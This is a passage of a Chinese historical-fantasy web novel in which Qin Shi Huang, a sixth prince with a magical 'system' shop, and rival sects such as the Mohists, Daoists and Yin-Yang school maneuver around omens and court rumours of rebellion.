幽暗的密室中。
矩子立于青铜星图前,斗笠下的双眸如鹰隼般锐利。
他骨节分明的手指正划过星图上那道突兀的血色轨迹。
忽然!
“扑棱棱——”
一只信鸽穿透机关城的重重禁制,精准地落在他的肩头。
矩子解下鸽腿上的密信,在烛光下展开。
当他读到“咸阳天穹现仙人虚影”时,指节猛地收紧,竹简发出不堪重负的“咔咔”声。
“仙人?”
他冷笑一声,声音沙哑如铁锈摩擦。
“怕是又一位隐世的强者……”
斗笠阴影下,那张饱经风霜的面容浮现出刻骨恨意。
“来人。”
密室石门无声开启,一名墨家弟子单膝跪地。
“矩子有何吩咐?”
矩子将密信置于烛火上,看着它渐渐化为灰烬。
“传书盖聂,暗中查探咸阳异象。”
他顿了顿,声音陡然转冷。
“再发墨家令,召各部首领速回机关城!!”
“诺!”
弟子刚欲退下,矩子突然抬手。
这个简单的动作让弟子浑身一僵,仿佛被毒蛇盯上的猎物。
“还有。”
矩子的声音轻得几不可闻。
“派‘无影’去东郡。”
弟子瞳孔骤缩!
“无影”是墨家最精锐的暗探,轻易不会动用。
待弟子退下后,矩子缓步走向密室深处的墙壁。
他掀开遮掩的黑布,露出墙上那幅巨大的大秦疆域图。
图中咸阳的位置,密密麻麻插满了红色小旗。
“赢政……”
他轻抚腰间长剑,指腹在剑鞘上那道深深的斩痕处停留。
“这一次,老夫倒要看看,你还能玩出什么花样!”
烛火突然剧烈摇曳,将他的影子投在墙上,扭曲如鬼魅。
那影子手中,赫然多出了一柄寒光凛冽的剑。
机关城外,夜风呜咽。
谁也不知道,这座沉寂多年的地下之城,正在酝酿着一场足以撼动大势的风暴!
……
第15章 寡人一生从不信命!!!
太乙山巅,紫气东来。
赤松子白发如雪,双手背负,立于观星台上。
宽大的道袍在夜风中纹丝不动,仿佛与天地融为一体。
那双看透世事的眼眸,此刻正倒映着天穹上那道妖异的火光。
“荧惑守心……”
苍老的声音如同山涧清泉,不疾不徐。
他抬起枯瘦的手指,在虚空中划出一道玄奥轨迹。
霎时间,周身三丈内飘落的雪花全部静止在半空,组成一幅奇异的星象图。
“咔嚓——”
静止的雪花突然裂开,化作齑粉飘散。
赤松子雪白的长眉微微颤动,掌心真气发出澎湃的嗡鸣。
“大秦有变数。”
这简单的五个字,却让侍立在一旁的弟子们浑身一震。
他们从未见过掌门如此凝重!
赤松子缓缓转身,道袍上的阴阳鱼图案在月光下流转。
他望向咸阳方向的目光,仿佛穿透了千山万水。
“去告诉你晓梦师叔。”
他对身旁最年长的弟子说道,“天宗闭山十年的期限…或许要提前结束了。”
弟子惊骇抬头。
“掌门,这……”
赤松子抬手制止了他的疑问。
那枯瘦的手指轻轻一划,静止的雪花突然化作一条白龙,盘旋着升上夜空,与那道血色星光交织在一起。
“天机已变。”
赤松子的声音突然变得缥缈,整个人的气息渐渐与天地相融。
“告诉晓梦,她的尘缘…要应在这变数上了。”
然而,话音刚落,霜雪骤停。
一道青色身影踏雪无痕而来,素白道袍上绣着淡紫色的蝶纹。
晓梦手持秋骊,玉足轻点,每一步落下,足下便绽开一朵冰莲。
“师兄。”
清冷的声音如同山涧击玉,不带丝毫波澜。
她指尖轻弹,一封密信飘向赤松子。
赤松子雪眉微动,密信在距他三尺处自行展开。
当看到“咸阳现仙人异象”几个字时,那双看透世事的眼眸终于泛起涟漪。
“竟有此事……”
晓梦秋水般的眸子微微闪动。
“此前,咸阳天穹现剑仙虚影;”
“今夜,东郡坠火。”
她顿了顿。
“六公子赢子夜献仙丹,始皇帝精气渐壮。”
每说一句,赤松子面色就凝重一分。
当听到“精气渐壮”四字时,他双眉一蹙,手指竟微微颤动!
“师兄寿元将尽。”
晓梦突然道破天机,语气平静得仿佛在谈论今日天气。
“不如我代你走这一遭。”
赤松子苦笑摇头。
“你这丫头……”
他轻抚雪霁剑身,“也罢,此去咸阳,两件事。”
“与逍遥子论剑夺回雪霁?”
晓梦眼中闪过一丝不屑,“他不是我的对手。”
“唉。”
赤松子叹了口气,突然开口。
“也罢。从今日起,你便是天宗掌门!”
山巅霎时寂静!
晓梦终于露出一丝讶色,但转瞬即逝。
她沉默片刻,抬眸望向咸阳方向。
“第二件?”
“那个六公子……”
赤松子目光深邃,“或许能助你参透最后一重境界。”
晓梦素来平静的眸中,第一次泛起深邃的波澜。
她忆起十年前闭关那日,一只蓝翼凤蝶停驻肩头的触感。
那时蝶翼轻颤间,周遭空间竟如水纹般扭曲!
正是《齐物论》记载的“物化”之境。
“庄周梦蝶。”
她轻吟出声。
传闻,此乃百年前失传的“梦蝶之遁”,颠覆天道法则的至高秘术。
当年庄周便是借此术,在众目睽睽之下化蝶而去,留下“不知周之梦为蝴蝶与,蝴蝶之梦为周与”的千古谜题。
山风骤急,吹动晓梦腰间悬挂的玉铃。
“有趣。”
玉手轻抬,秋骊剑穗无风自动。
这柄难得的名剑在她手中发出颤动的清鸣。
“掌门之位我且代掌。”
她将剑随手插在雪中。
“至于那六公子……”
山风骤起,吹动她额前青丝。
那一瞬,这位天宗第一人竟露出一丝少女般的狡黠。
“若他真能让我领悟更高境界,给他当个剑侍又何妨?”
话音未落,人已化作青虹掠向山下。
雪地上的冰莲一路绽放,转瞬即逝。
赤松子望着她离去的方向,摇头轻笑。
“这丫头。”
突然剧烈咳嗽起来,袖口染上一抹猩红。
山巅古钟无人自鸣,悠远的钟声仿佛在送别这位新任掌门。
……
章台宫。
青铜宫门在子夜时分无声开启。
月神银发如瀑,素白的长裙在夜风中泛起涟漪。
当她踏入大殿的刹那,九十九盏青铜灯齐齐暗了一瞬。
“陛下。”
清冷的嗓音在大殿回荡,月神行礼时额前的银饰发出细微碰撞声。
她刻意保持着三步距离。
这个距离既能彰显敬意,又能在帝王暴怒时及时闪避。
始皇帝从奏简中抬首,玄色帝袍上的金线玄鸟纹在烛光下若隐若现。
“东皇太一派你来的?”
“荧惑守心,天象异变。”
月神双手结印,一道星图在虚空中展开。
“东皇阁下推演出三则预言。”
星图中血芒暴涨,浮现出扭曲的文字:
“一曰帝星飘摇。”
“二曰苍龙现世。”
“三曰……”
最后一行尚未完全显现,始皇帝突然冷哼!
定秦剑鞘上的铭文泛起血光,竟将星图震得粉碎!!
“装神弄鬼。”
帝王指节叩击龙案。
“说人话。”
月神银发下的眸光微闪。
“启禀陛下,咸阳…将有大劫!”
始皇帝高踞龙台,玄色帝袍上的金线玄鸟纹在幽暗中泛着冷芒。
月神话音刚落,九旒冕下的双眸已然眯起,如刀锋般锐利的目光刺破殿内凝重的空气。
“大劫将至?”
帝王的声音很轻,却让殿内温度骤降。
侍立的宦官不自觉地后退半步,额头渗出细密冷汗。
月神银发下的面容依旧清冷,但指尖却不自觉地收紧了袖口。
她清晰地看到,始皇帝搭在龙榻上的右手,正在缓缓收紧!
那鎏金扶手上已然浮现五道指痕!!
“寡人一生……”
始皇帝突然起身,玄鸟纹的帝袍无风自动。
他每一步踏下,都仿佛有千钧之重,震得殿内烛火齐齐摇曳!
“幼年为质赵国,险些死于街巷。”
声音平静得可怕。
“十三岁归秦,满朝文武百般刁难。”
月神不自觉地屏住呼吸。
她看到帝王腰间定秦剑的剑鞘上,“定秦”二字的铭文正泛出血色光芒!
“二十二岁加冠,亲弟成蟜举兵反叛!”
始皇帝猛地转身,九旒冕上的玉珠激烈碰撞。
“平嫪毐,诛吕不韦,灭六国——”
最后一个字化作雷霆般的暴喝,震得殿梁簌簌落尘。
定秦剑突然自行出鞘三寸,刺目的寒光将帝王的面容映得半明半暗。
“你告诉寡人,这是命?!”
月神银发飞扬,不得不运起内力抵
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抗这股恐怖的帝王威压。
她从未见过这样的始皇帝。
那双眼眸中燃烧的,分明是要焚尽天地的怒火!!!
“东皇阁下只是……”
“够了!”
始皇帝一掌拍在龙案上,厚重的青铜案几轰然碎裂。
“回去告诉东皇太一。”
碎片飞溅中,帝王的身影如山岳般巍然不动。
他缓缓抬起右手,定秦剑完全出鞘,剑锋所指之处,虚空竟泛起涟漪。
“若真有所谓大劫……”
剑尖轻颤,发出龙吟般的嗡鸣!
“寡人便用这柄定秦剑,再斩一次天命!!!”
月神瞳孔骤缩。
在这一刻,她仿佛看到始皇帝身后浮现出一道巍峨的虚影!
头戴平天冠,身披玄鸟袍,与当年一统六国时的年轻帝王如出一辙!!!
“退下吧。”
简单的三个字,却带着不容置疑的决绝。
月神躬身行礼,退出大殿时,她最后瞥见的是始皇帝立于残破龙案前的背影。
那袭帝袍上的玄鸟纹仿佛活了过来,正展开遮天蔽日的羽翼……
殿外,夜空中的血色星光突然黯淡了几分。
而章台宫内,始皇帝手中的定秦剑,正发出前所未有的嗡鸣。
“一日之内,寡人要知晓到底发生何事!”
帝王的声音在空旷的章台宫内回荡,余音未散,殿角的阴影便微微扭曲了一瞬。
低沉的话语不带丝毫怒意,却让殿内温度骤降。
烛火诡异地静止不动,连飘散的香烟都凝固在半空。
黑暗中,一道模糊的黑影在龙台三步外单膝跪地,没有任何声息。
唯有地面细微的尘埃显示出那里确实有人存在。
黑影的姿势恭敬至极,额头几乎贴地,却始终保持着能瞬间暴起的距离。
这是黑冰台**刻进骨子里的本能。
始皇帝甚至没有看向那个方向,只是随意地挥了挥手,如同拂去一粒微不足道的尘埃。
黑影如烟消散。
帝王独自立于高台,玄色帝袍上的金线玄鸟纹在烛光下忽明忽暗。
他缓缓踱至窗前,望着东郡方向仍未散尽的火光,指节无意识地摩挲着剑柄。
“荧惑守心……”
他低声自语,嘴角勾起一抹冷笑。
“寡人倒要看看,这天命…究竟能奈我何。”
定秦剑突然发出一声清越剑鸣,仿佛在回应主人的话语。
剑鞘上“定秦”二字的铭文泛起血色,映照得帝王半边面容如同浴血。
殿外传来更漏声。
已是子时三刻。
始皇帝忽然转身,对着空荡荡的大殿说道:
“传李斯。”
三个字落下,殿外立刻响起急促的脚步声。
不到半刻钟,丞相李斯便气喘吁吁地跪在了殿门前。
这位年过五旬的老臣竟是衣衫不整,显然是从榻上直接被召来的。
“陛…陛下……”
李斯额头紧贴地面,后背的冷汗已经浸透中衣。
始皇帝背对着他,声音平静得可怕。
“拟诏。”
李斯慌忙取出随身携带的竹简和刀笔,手却抖得几乎握不住刻刀。
“即日起,东郡全境**。”
始皇帝的每个字都像重锤砸在李斯心头。
“凡形迹可疑者……”
刻刀“啪”地折断。
李斯惊恐地看到,帝王缓缓转身,那双眼睛在黑暗中竟泛着淡淡的金芒!!
“格杀勿论。”
最后一字落下,殿外突然电闪雷鸣。
惨白的电光中,李斯分明看到始皇帝的影子投在墙上,那轮廓…竟似龙首人身!
……
第16章 大秦六公子意图谋反!
六公子府内,烛火摇曳。
赢子夜斜倚在软榻上,指尖把玩着一枚青铜传讯符。
窗外,东郡方向的火光仍未完全消散,将他的侧脸映得忽明忽暗。
“没记错的话,史料上那颗陨石上写着的…正是‘始皇帝死,而天下分’!‘亡秦者,胡也’!”
他低声喃喃,突然嗤笑一声,手中的传讯符应声而碎。
符文化作三道流光破窗而出,消失在夜色中。
不到半盏茶的功夫,三道回讯便接连而至。
“逆流沙踪迹已现,十日内必有答复。”
——这是昭鞅的回信,字迹狂放不羁,最后一笔甚至划破了符纸。
“公输仇隐居巴蜀,半月可至。”
赵弋苍的回讯工整如军报,却在末尾多了一滴未干的墨迹,显是匆忙所致。
最有趣的是公孙墨玄的回信。
“公子所料不差,流沙与公输家确有往来。”
字迹清隽,却在“往”字上多了一道刻痕,显然是写完后犹豫片刻又添的注解。
赢子夜嘴角微扬,懒洋洋地伸了个懒腰。
这三人的反应都在他预料之中。
昭鞅的灵活,赵弋苍的严谨,公孙墨玄的缜密,倒是配合得天衣无缝。
“培养势力的速度还是太慢啊…”
他叹了口气,随手抓起案几上的一把丹药,像吃糖豆般丢进嘴里。
这些放在外界足以引发血战的灵丹,在他这儿不过是消遣的零嘴。
他原本,只是想未雨绸缪,没想到竟钓出这么大一条鱼!
“卫庄那家伙…”
他轻哼一声,想起原著中那个孤傲的白发剑客。
“若要实施招揽手段,他怕是没那么容易低头。”
窗外一阵风过,吹得烛火摇曳。
光影交错间,他俊逸的面容忽明忽暗,嘴角噙着一丝危险的弧度。
“倘若失败……”
他随手抓起一枚青铜棋子把玩。
“也绝不能放任!”
棋子突然被捏得变形,赢子夜眼中闪过一丝冷意。
对付孤狼,就要迫使其反复诚服!
这是铁律。
紧接着,他又转念想到公输仇,表情轻松起来。
随手从箱底翻出一卷泛黄的图纸,上面密密麻麻标注着各种机关构造。
“公输家的霸道机关术配上我的《天工开物图录》。”
他低声轻笑。
“到时候墨家那些木头玩具,怕是要变成笑话了。”
“相信公输仇一定会很感兴趣的……”
突然,他笑容一滞,眉头微皱。
话说回来,阴阳家近日的突然示好,已能说明这潭水确实够浑。
想要从中攫取利益的话,还是要谨慎行事。
至于那个少司命……
“罢了!”
赢子夜突然伸了个懒腰,脸上又恢复了那副懒散模样。
“说到底,拳头大才是硬道理。”
他慢悠悠地摸出一瓶“九转金丹”,像吃糖豆般倒进嘴里。
丹药入腹的瞬间,周身经脉顿时如烈火灼烧。
寻常修士怕是早就痛得打滚,他却只是微微蹙眉,还有闲心嘀咕:
“系统出品的丹药还真是劲儿大哈!”
随着**运转,他周身渐渐浮现出淡金色光晕。
七十二柄寸许长的金色小剑在体外成形,如游鱼般环绕飞舞。
若有武道高手在此,定会骇然失色!
这分明是传说中的“剑意化形”!!
唯有对剑道领悟至深者,方能让剑气脱离肉身束缚,凝成实质!
赢子夜的眉头微微蹙起,额角渗出一丝细汗。
七十二柄小剑的操控极为耗费心神,每一柄都需要他以真元精准驾驭,稍有不慎便会剑气反噬。
忽然,他双眸一睁,眼中金芒暴涨。
七十二柄小剑骤然停滞,剑锋齐齐指向虚空某处,剑意凌厉如霜!!
下一瞬,所有小剑如百川归海,倏然没入他的体内。
赢子夜长舒一口气,周身金芒渐渐收敛,唯有指尖残留的一缕剑气,证明方才的一切并非幻觉。
他低头看了看自己的手掌,轻声自语。
“还不够……”
……
不知过了多久。
天色渐渐明亮。
赢子夜伸了个懒腰,周身萦绕的七十二柄金色小剑缓缓没入体内。
经过一夜修炼,他的修为已然稳固在炼气大圆满境界,体内真元比昨日浑厚了三成有余。
“叮!今日秒杀商品:《太清丹经·初级篇》——售价:一枚秦半两。”
他随手抛起铜钱,接住凭空出现的青玉简册。
翻看几页后,嘴角微扬。
“基础丹方?正好。”
这卷在修仙界烂大街的入门典籍,放在此界却是无价之宝。
踏出房门时,晨光中那道紫色身影令他挑眉。
少司命静立庭前,裙摆沾染着晨露,显然已等候多时。
“有事?”
少司命
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紫瞳微闪,玉指在虚空划出水纹字迹。
“咸阳坊间流传,公子有僭越之心。”
赢子夜闻言轻笑,随手折了枝桃花把玩。
“赵高?儒生?还是他们联手?”
他嗅了嗅花瓣,浑不在意地丢开。
“跳梁小丑罢了。”
水纹再现:“今日朝会恐有风波。”
“哟?”
赢子夜突然凑近,惊得少司命后退半步。
“你这是担心我?”
面纱无风自动,隐约可见一抹绯红。
少司命迅速凝字。
“东皇大人之命。”
“知道知道~”
赢子夜摆摆手,玄色锦袍在朝阳下泛着暗纹。
“放心吧,就凭那些跳梁小丑还不足以让我放在心上。”
话罢,赢子夜径直的从府中走了出去。
……
朝堂之上,肃穆凝重。
文武百官分列两侧,低垂着头,连呼吸都放得极轻。
青铜烛台上的火光微微摇曳,将殿内映照得忽明忽暗。
龙台之上,始皇帝高踞帝座,玄色帝袍上的金线玄鸟纹在烛光下泛着冷芒。
他单手支颐,指节轻轻叩击着鎏金扶手,每一声脆响都如同重锤般砸在众人心头。
“昨夜异象,寡人召见月神。”
帝王的声音不疾不徐,却让殿内温度骤降。
“月神告诉寡人,乃是大秦大劫将至!”
李斯立于阶下,低着头默然无言。
他清晰地感受到上方投来的目光,那视线如有实质,仿佛能穿透他全身。
“今日清晨,寡人便得到一个消息。”
始皇帝缓缓直起身子,九旒冕上的玉珠相互碰撞,发出清脆的声响。
“六公子有不臣之心!”
“哗——!”
殿内顿时一片哗然。
百官面面相觑,低声议论纷纷。
几个儒生打扮的官员更是面色大变,手中的笏板都险些跌落。
李斯浑身一颤,急忙出列。
“陛下!众所周知,六公子素来……”
“够了。”
始皇帝抬手打断,目光如电般射向站在公子队列中的赢子夜。
“子夜,你可有何解释?”
所有人的目光都聚焦在那道挺拔的身影上。
赢子夜缓步出列,玄色锦袍上的螭纹随着他的步伐若隐若现。
他嘴角噙着一丝若有若无的笑意,目光平静地迎上始皇帝的视线。
“儿臣…不需要任何解释。”
第17章 儿臣认为,父皇还是杀的太少了!
此言一出,满朝哗然!!!
赵高藏在袖中的手猛地攥紧,指甲深深掐入掌心。
他狭长的眼眸中闪过一丝难以置信!
这废物公子竟敢如此狂妄?!
就连一向沉稳的蒙恬都瞪大了眼睛,虎目中满是震惊。
这不是变相承认了吗?
始皇帝眸光微动,指节在龙榻扶手上轻轻一叩。
殿内霎时寂静。
“哦?”
帝王的声音带着危险的意味,“你可知,此言何意?”
赢子夜轻笑一声,那笑声清朗如玉磬相击,在寂静的大殿中格外清晰。
“因为儿臣…生来便有这样的罪。”
他环视四周,目光从一个个或震惊、或畏惧、或幸灾乐祸的面孔上扫过。
当视线掠过赵高时,那双平日里慵懒散漫的眼睛,此刻竟如利剑般锐利!
赵高不自觉地后退半步,后背瞬间被冷汗浸透。
“儿臣不需要辩解,也无须辩解!”
赢子夜的声音陡然提高,如惊雷炸响。
他负手而立,玄色锦袍无风自动,衣袂翻卷间似有龙影游走。
“儿臣只知一事——”
话音未落,他突然振袖转身。
玄色袍角如乌云翻滚,腰间螭纹玉佩相互碰撞,发出清越的铮鸣。
那声音在死寂的大殿中格外刺耳,像是利剑出鞘的颤音!
在满朝文武惊骇的目光中,这位素来被视作庸碌的六公子,此刻周身竟隐隐有剑气缭绕。
他挺直的脊背如青松傲立,下颌微扬的弧度带着与生俱来的傲气。
整个人宛如一柄出鞘的绝世利剑,锋芒毕露!!
“待儿臣来日,名满天下之时……”
他的声音并不高亢,却字字如金玉相击,带着不容置疑的笃定。
殿内青铜灯盏的火光齐齐一暗,仿佛被这股气势所慑。
“自有大儒为儿臣辩经!!!”
余音如雷霆炸响,在九重宫阙间回荡不绝。
那声音中蕴含的自信与霸气,震得雕梁画栋微微颤动,檐角铜铃无风自鸣。
几个年迈的文官更是踉跄后退,险些跌坐在地。
这一刻,赢子夜站在那里,仿佛天地间唯一的焦点。
他周身散发出的威势,竟让龙台之上的始皇帝都不自觉地微微前倾。
那双如渊般深邃的帝王之眸中,闪过一丝几不可察的惊艳。
大殿之上,落针可闻。
唯有赢子夜腰间玉佩的余韵,仍在空中轻轻震颤。
如同他这番话在众人心头激起的惊涛骇浪,久久不能平息。
即便是向来以仁德著称的长公子扶苏,此刻也不禁微微低头,心中震撼!
这位六弟,何时有了如此锋芒?!
龙台之上,始皇帝的目光微微凝滞。
他望着阶下那道挺拔的身影。
恍惚间,竟像是看到了年轻时的自己……
那个在赵国为质,却始终不肯低头的少年嬴政!
“那你认为,寡人应该如何处置此事?”
帝王的声音低沉而威严,却隐隐透着一丝试探。
赢子夜缓缓转身,目光如炬,直视龙台。
“儿臣以为…父皇还是杀的太少了!”
——轰!!
此话一出,满朝震动!
李斯瞳孔骤缩,手中的**笏板差点滑落。
他心中骇然。
“这六公子……竟敢如此直言?”
赵高藏在袖中的手指猛地攥紧,指甲深深刺入掌心。
他死死盯着赢子夜,心中翻涌着惊怒。
“这废物……敢在陛下面前如此放肆?!”
淳于越等儒生更是面色惨白,额头渗出冷汗。
他们听出了赢子夜话中的杀意!
这分明是在讽刺他们这些儒生只会空谈仁义,却无实际作为!!
赢子夜的声音再度响起,字字如刀。
“父皇应知,说出这些话的人,才是有不臣之心!才是该杀之人!”
他环视百官,目光所及之处,众人无不低头。
“天下之地,莫非王土!率土之滨,莫非王臣!”
“这天下的一切,皆是父皇的!”
他顿了顿,声音忽然低沉,却更加坚定。
“若父皇想杀儿臣,儿臣亦无怨无悔!”
“父皇若是不给儿臣的,儿臣也不会去争!”
最后一句话落下,满场寂然!
所有人都屏住了呼吸,连心跳声都清晰可闻。
龙台之上,始皇帝的目光深沉如渊。
良久,帝王缓缓开口,声音如九幽寒冰。
“今日之事,到此为止。”
他站起身,玄色帝袍无风自动,周身散发出的威压让空气都为之凝固。
“廷尉听令。”
“彻查此事!凡传谣言者…”
“斩。”
——咔嚓!
殿门外隐隐有甲胄戈戟碰撞之音!
满朝文武,噤若寒蝉。
……
一炷香后。
章台宫内,朝阳将祖龙玄色帝袍上的暗纹映得若隐若现。
他背对殿门而立,修长的手指缓缓抚过案几上摊开的竹简,指尖在“荧惑守心”四字上略作停顿。
“你今日朝堂之言…”
帝王的声音低沉浑厚,在空旷的大殿中回荡。
“甚合寡人之意。”
赢子夜垂首立于阶下,却能清晰感受到那道如有实质的目光正审视着自己。
殿内静得能听见烛芯爆裂的轻响,连呼吸都显得突兀。
祖龙忽然转身,九旒冕下的眼眸深若寒潭。
他缓步踱下龙台,玄鸟纹的广袖拂过青铜灯盏,带起一阵细微的气流扰动。
在距离赢子夜三步之遥时驻足,这个距离既不失帝王威仪,又透着几分难得的亲近。
他的指尖缓缓摩挲着定秦剑的剑柄,声音低沉如闷雷滚过云层。
“寡人听说,阴阳家月神找过你。”
赢子夜一愣,袖中的手指却悄悄蜷缩了一下。
他抬眼望向帝王如山岳般巍峨的背影,语气里恰到好处地掺入几分困惑。
“正是。前夜月神大人突然造访,说是东皇阁下担心儿臣安危。”
祖龙忽然转身,九旒冕下的目光如刀锋般刮过赢子夜的面容。
帝王嘴角噙着一丝若有若无的冷笑。
“少司命亦在你的府上?”
“说是为了保护儿臣…
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…”
赢子夜露出无奈神色,像极了被长辈过问私事的少年郎。
“那姑娘整日冷着张脸,儿臣连用膳时都能瞧见梁上飘着片紫衣角。”
他故意让尾音染上几分委屈。
殿内突然陷入死寂。
朝阳映得祖龙半边面容发亮,帝王平静之极。
就在赢子夜以为要承受雷霆之怒时,帝王突然发出一声意味不明的轻哼。
“连蜃楼通行令都给你了……”
祖龙的手指轻轻敲击剑鞘,每一下都仿佛敲在人心尖上。
“阴阳家倒是大方。”
他缓步踱于龙台之上,玄色帝袍在烛光下泛起幽暗的玄鸟纹。
脚步声沉稳如雷,每一步都仿佛踏在人心之上。
“阴阳家依附于帝国,却不会满足于帝国。”
帝王的声音低沉而威严,如同自九霄垂落的雷霆。
“他们与朝堂上那些争权夺利之徒不同,他们不贪权势,不恋富贵,唯痴迷于天道。”
赢子夜低头无言。
他感受到祖龙的目光如刀锋般刺来,仿佛能洞穿一切伪装。
“今时,他们寻到了你,是因从你身上看到了希望。”
祖龙忽然驻足,定秦剑鞘上的铭文泛起冷光。
“可若有朝一日,另一人出现,他们便会毫不犹豫地舍弃你。”
帝王的声音蓦地一沉,如渊如狱!
“记住…你是大秦的公子,而非他们的傀儡!!!”
赢子夜心头一震,立刻俯首!
“儿臣谨记父皇教诲。”
祖龙凝视着他,目光如炬,似要将他灵魂都灼穿。
良久,帝王才缓缓转身,袖袍一挥。
“今日之事,便是给你提个醒。”
“寡人相信,你会明白该如何处理与阴阳家的关系。”
他的语气里带着不容置疑的威压,却又隐含一丝深沉的期许。
“去吧。”
赢子夜深深一拜,退步而出。
当他转身的刹那,眼底闪过一丝冷芒。
帝王这是在警告他,也是在试探他。
阴阳家所求的天道,祖龙早已看透。
而今日这番话,既是对他的敲打,亦是对他的……认可。
麻烦,真是麻烦!
阴阳家这群人,确实如此。
不贪权、不图利,整天神神叨叨地追求什么天道,比那些争权夺利的朝臣还难搞。
至少贪官污吏还能用利益收买。
可这群疯子呢?
为了虚无缥缈的“苍龙七宿”,怕是连命都能不要。
他转身离开章台宫,玄色衣袍在风中微微摆动,脸上依旧挂着那副懒散的表情,心里却已经开始盘算:
“东皇太一派人监视我,父皇又暗示我小心阴阳家……”
“啧,这不是逼着我动脑子吗?”
他揉了揉太阳穴,只觉得一阵心累。
“唉,早知道当初就不该在朝堂上多嘴……”
他抬头望了望夜空,东郡方向的火光已经消散,但咸阳城内的暗流却越来越汹涌。
“算了,走一步看一步吧。”
赢子夜懒洋洋地伸了个懒腰,脸上又恢复了那副漫不经心的表情。
第18章 大秦公子,夜启天门!!!
与此同时。
长公子府,书房内。
明媚阳光映照出扶苏温润如玉的面容,此刻却罕见地笼上一层阴翳。
他指尖轻叩案几,声音依旧温和,却透着一丝不容置疑的肃然。
“老师,近日咸阳谣言四起,言六弟有僭越之心……”
他顿了顿,目光直视淳于越。
“儒家,可有参与?”
淳于越神色一滞,袖中的手指无意识地摩挲着竹简边缘。
他略一迟疑,终究还是低声道。
“公子明鉴,此事……并非儒家授意。”
扶苏眉头微蹙,眼中闪过一丝失望。
“如此说,儒家虽未主谋,却也推波助澜?”
淳于越与身旁几位儒士对视一眼,额角渗出细汗,急忙辩解。
“谣言初起时,确有儒生议论,但绝非有意构陷六公子……”
“够了。”
扶苏抬手制止,声音依旧平和,却让在场众人心头一凛。
他闭了闭眼,似在压抑某种情绪,再开口时,语气已带上一丝罕见的严厉。
“立即停止。若再放任谣言蔓延,即便是本公子……”
“也保不住诸位。”
淳于越等人面色微变,纷纷俯首称是。
扶苏望向窗外夜色,眉宇间忧色更深。
六弟赢子夜近来声名鹊起,阴阳家月神亲自登门,少司命贴身相随,甚至连李斯的态度都变得暧昧不明……
这一切,都让他隐隐感到不安。
淳于越见状,低声劝慰。
“公子宽心,您占据民心,更有小圣贤庄鼎力支持,何须忧虑?”
“六公子即便有阴阳家相助,终究根基尚浅…”
扶苏摇了摇头,抬手打断。
“老师,此时非争权之时。”
他语气沉缓,带着一贯的仁厚。
“父皇最忌兄弟阋墙,若因谣言之事引得朝堂动荡,反倒得不偿失。”
他转身看向淳于越,目光温和却坚定。
“传我的话,儒家弟子近期务必谨言慎行,绝不可再卷入谣言之中。”
淳于越张了张嘴,似还想再劝,但见扶苏神色坚决,终究还是长叹一声,躬身应诺。
“老朽……遵命。”
待众人退下,扶苏独自立于窗前,望着院中飘落的梨花,眼中浮现一抹复杂之色。
六弟,你究竟…意欲何为?
他轻轻摩挲着腰间的玉佩,那是父皇在他加冠时所赐,象征着长子的身份与责任。
良久,他低声自语。
“但愿……莫要走到那一步。”
夜风拂过,烛火摇曳,将他的影子拉得很长,却依旧挺拔如松,不曾动摇。
……
蜃楼,甲板。
河风裹挟着微凉气息掠过船舷。
赢子夜离开皇宫后,并未着急回府,而是径直的前往阴阳家蜃楼所在!
赢子夜一袭玄色锦袍立于船头。
衣袂翻飞间,腰间一枚青铜令牌若隐若现。
正是东皇太一亲赐的通行令。
今夜无事,登楼拜访。
“六公子。”
一道阴冷的声音忽从身后传来。
赢子夜懒洋洋转身,正见星魂抱臂倚在桅杆旁,幽蓝的火焰纹路在苍白面容上跳动。
少年模样的左**歪着头,紫眸中闪烁着危险的兴味。
“听闻咸阳夜现剑仙异象时,虚影中有一道清气坠入…六公子府?”
赢子夜打了个哈欠,顺手将一枚丹药抛入口中:“星魂大人若想问本公子和那仙人虚影的联系……”
他嚼得咔嚓作响,漫不经心道,“不如直接去问你们首领?”
星魂眸中寒光骤现!
指尖幽蓝气刃无声凝聚:“巧言令色!”
话音未落,身影已如鬼魅般逼近,气刃直取赢子夜咽喉——
“铛!”
一道银辉倏然横贯二人之间。
月神素手轻抬,星魂的气刃竟如撞上无形壁障般轰然溃散!
银发女子踏月而来,额间坠饰在月光下泛着冷光。
“星魂,蜃楼之上,不得无礼。”
星魂冷笑收手,目光却仍盯在赢子夜身上。
“月神大人何必护着他?若他真是那夜引发异象之人……”
“首领要见的贵客,轮不到你试探。”
月神声线清冷如霜,袖中星图隐现。
星魂还要上前,却被月神袖中突然展开的星图拦住:“六公子,请!”
赢子夜淡淡的看了一眼星魂,转身跟着月神向蜃楼走去。
待赢子夜的身影完全消失在走廊尽头,星魂才阴沉着脸低吼:“他绝对有问题!那夜咸阳的剑仙异象…”
他暗自咬牙!
总有一日,定要亲手揭开此子的真面目!!
不多时。
赢子夜踏入观星台。
脚下青铜星盘无声转动,头顶万千星辰投影闪烁,仿佛置身浩瀚宇宙。
东皇太一立于星图中央,黑金面具下的目光如深渊般凝视着他。
“六公子。”
沙哑的声音回荡在空旷的观星台上,“你可知,为何阴阳家会选择你?”
赢子夜懒散地掏了掏耳朵:“总不会是因为本公子长得俊吧?”
东皇太一黑袍翻涌,袖中枯瘦的手指缓缓抬起。
刹那间,整座观星台的星图骤然扭曲,万千星辰如受敕令,在虚空中重新排列!
“看好了,六公子。”
他的声音沙哑如砂石摩擦,却又带着某种诡异的韵律。
仿佛每一个字都叩击在灵魂深处。
七颗主星突然爆发出刺目的青光,在穹顶之上勾勒出一条横贯天宇的苍龙之形。
龙首低垂,龙尾盘绕。
龙睛处两颗星辰猩红如血,凝视着赢子夜!
“苍龙七宿——”
东皇太一的黑金面具折射着星光,纹路诡谲变幻。
“乃东方七宿,角、亢、氐、房、心、尾、箕……”
“千年以来,阴阳家穷尽心血,只为解开其中奥秘。”
他的手指忽然一划,星图剧震!
七宿星辰竟化作七道青铜巨门虚影,门扉上刻满晦涩的太古铭文。
每一道门开启的缝隙中,都隐约透出令人战栗的气息。
或如洪荒凶兽嘶吼,或似仙音缥缈,更有门后传出金戈铁马之声,仿佛封印着某个远古战场。
“七宿对应七把钥匙。”
东皇太一的声音突然变得飘忽不定,时而如老者低语,时而似少年清喝。
“而你……”
他猛然转身,面具下的双眼迸发出摄人的幽蓝光芒,直刺赢子夜眉心!!
“你的命格与苍龙共鸣,你的血脉引动星图震颤!”
观星台的地面突然裂开无数缝隙,每一道裂缝中都涌出暗蓝色的火焰。
火焰中浮现出历代阴阳家首领临终前刻下的预言:
【青龙现世之日,天道重开之时!】
只见东皇太一的黑袍在灵火中猎猎作响,声音里第一次透出近乎狂热的波动!
